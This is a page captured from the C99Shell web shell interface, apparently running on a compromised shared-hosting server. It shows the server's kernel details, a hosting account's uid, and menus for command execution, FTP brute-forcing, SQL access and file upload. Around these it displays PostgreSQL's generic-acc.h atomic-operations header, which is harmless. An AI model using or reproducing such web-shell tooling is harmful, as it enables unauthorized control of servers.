!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/pgsql-11/include/server/port/atomics/   drwxr-xr-x
Free 6181.77 GB of 6262.97 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     generic-acc.h (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * generic-acc.h
 *      Atomic operations support when using HPs acc on HPUX
 *
 * Portions Copyright (c) 1996-2018, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * NOTES:
 *
 * Documentation:
 * * inline assembly for Itanium-based HP-UX:
 *   http://h21007.www2.hp.com/portal/download/files/unprot/Itanium/inline_assem_ERS.pdf
 * * Implementing Spinlocks on the Intel (R) Itanium (R) Architecture and PA-RISC
 *   http://h21007.www2.hp.com/portal/download/files/unprot/itanium/spinlocks.pdf
 *
 * Itanium only supports a small set of numbers (6, -8, -4, -1, 1, 4, 8, 16)
 * for atomic add/sub, so we just implement everything but compare_exchange
 * via the compare_exchange fallbacks in atomics/generic.h.
 *
 * src/include/port/atomics/generic-acc.h
 *
 * -------------------------------------------------------------------------
 */

#include <machine/sys/inline.h>

#define pg_compiler_barrier_impl()    _Asm_sched_fence()

#if defined(HAVE_ATOMICS)

/* IA64 always has 32/64 bit atomics */

#define PG_HAVE_ATOMIC_U32_SUPPORT
typedef struct pg_atomic_uint32
{
    volatile uint32 value;
} pg_atomic_uint32;

#define PG_HAVE_ATOMIC_U64_SUPPORT
typedef struct pg_atomic_uint64
{
    /*
     * Alignment is guaranteed to be 64bit. Search for "Well-behaved
     * application restrictions" => "Data alignment and data sharing" on HP's
     * website. Unfortunately the URL doesn't seem to stable enough to
     * include.
     */
    volatile uint64 value;
} pg_atomic_uint64;


#define MINOR_FENCE (_Asm_fence) (_UP_CALL_FENCE | _UP_SYS_FENCE | \
                                 _DOWN_CALL_FENCE | _DOWN_SYS_FENCE )

#define PG_HAVE_ATOMIC_COMPARE_EXCHANGE_U32
static inline bool
pg_atomic_compare_exchange_u32_impl(volatile pg_atomic_uint32 *ptr,
                                    uint32 *expected, uint32 newval)
{
    bool    ret;
    uint32    current;

    _Asm_mov_to_ar(_AREG_CCV, *expected, MINOR_FENCE);
    /*
     * We want a barrier, not just release/acquire semantics.
     */
    _Asm_mf();
    /*
     * Notes:
     * DOWN_MEM_FENCE | _UP_MEM_FENCE prevents reordering by the compiler
     */
    current =  _Asm_cmpxchg(_SZ_W, /* word */
                            _SEM_REL,
                            &ptr->value,
                            newval, _LDHINT_NONE,
                            _DOWN_MEM_FENCE | _UP_MEM_FENCE);
    ret = current == *expected;
    *expected = current;
    return ret;
}


#define PG_HAVE_ATOMIC_COMPARE_EXCHANGE_U64
static inline bool
pg_atomic_compare_exchange_u64_impl(volatile pg_atomic_uint64 *ptr,
                                    uint64 *expected, uint64 newval)
{
    bool    ret;
    uint64    current;

    _Asm_mov_to_ar(_AREG_CCV, *expected, MINOR_FENCE);
    _Asm_mf();
    current =  _Asm_cmpxchg(_SZ_D, /* doubleword */
                            _SEM_REL,
                            &ptr->value,
                            newval, _LDHINT_NONE,
                            _DOWN_MEM_FENCE | _UP_MEM_FENCE);
    ret = current == *expected;
    *expected = current;
    return ret;
}

#undef MINOR_FENCE

#endif /* defined(HAVE_ATOMICS) */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0104 ]--